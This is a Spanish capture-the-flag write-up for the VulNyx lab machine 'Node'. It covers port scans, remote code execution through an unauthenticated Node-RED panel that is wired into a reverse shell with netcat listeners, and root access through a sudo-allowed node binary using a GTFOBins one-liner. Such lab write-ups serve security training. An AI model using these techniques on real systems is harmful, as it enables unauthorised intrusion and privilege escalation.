VulNyx - Node

logo

  • Node-Red RCE
  • Abuse Node Binary

Escaneo de puertos

❯ nmap -p- -T5 -v -n 192.168.1.69

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1880/tcp open  vsat-control

Escaneo de servicios

❯ nmap -sVC -v -p 22,80,1880 192.168.1.69

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0e624fb9eb07a1abdf7b185237fb16f (RSA)
|   256 99c87431451058b0cecc63b47a82573d (ECDSA)
|_  256 60da3e3138fab549ab48c3432c9fd132 (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Debian Default Page: It works
1880/tcp open  http    Node.js Express framework
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Node-RED
|_http-favicon: Unknown favicon MD5: 818DD6AFD0D0F9433B21774F89665EEA
|_http-cors: GET POST PUT DELETE

HTTP

http

En el puerto 1880 accedo directamente al panel principal de Node-RED.

node_red

Primero creo un nodo tcp in.

tcpin

Después un nodo exec.

execnode

Y finalmente un nodo tcp out.

tcpout

Resultado final.

flow1

Ahora dejo un netcat a la escucha por el puerto 1234 y otro netcat en el puerto 1337, cuando hago click a deploy recibo una conexión en el puerto 1234 una vez recibo la conexión le doy a enter para entablarme una shell al puerto 1337.

reverse_shell

Enumero permisos de sudo.

dev@node:~$ sudo -l

Matching Defaults entries for dev on node:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User dev may run the following commands on node:
    (root) NOPASSWD: /usr/bin/node

Para conseguir el root uso este recurso de gtfobins.

dev@node:~$ sudo node -e 'require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})'
root@node:/home/dev# id
uid=0(root) gid=0(root) grupos=0(root)

Y con esto ya tenemos resuelta la máquina Node.

Saludos!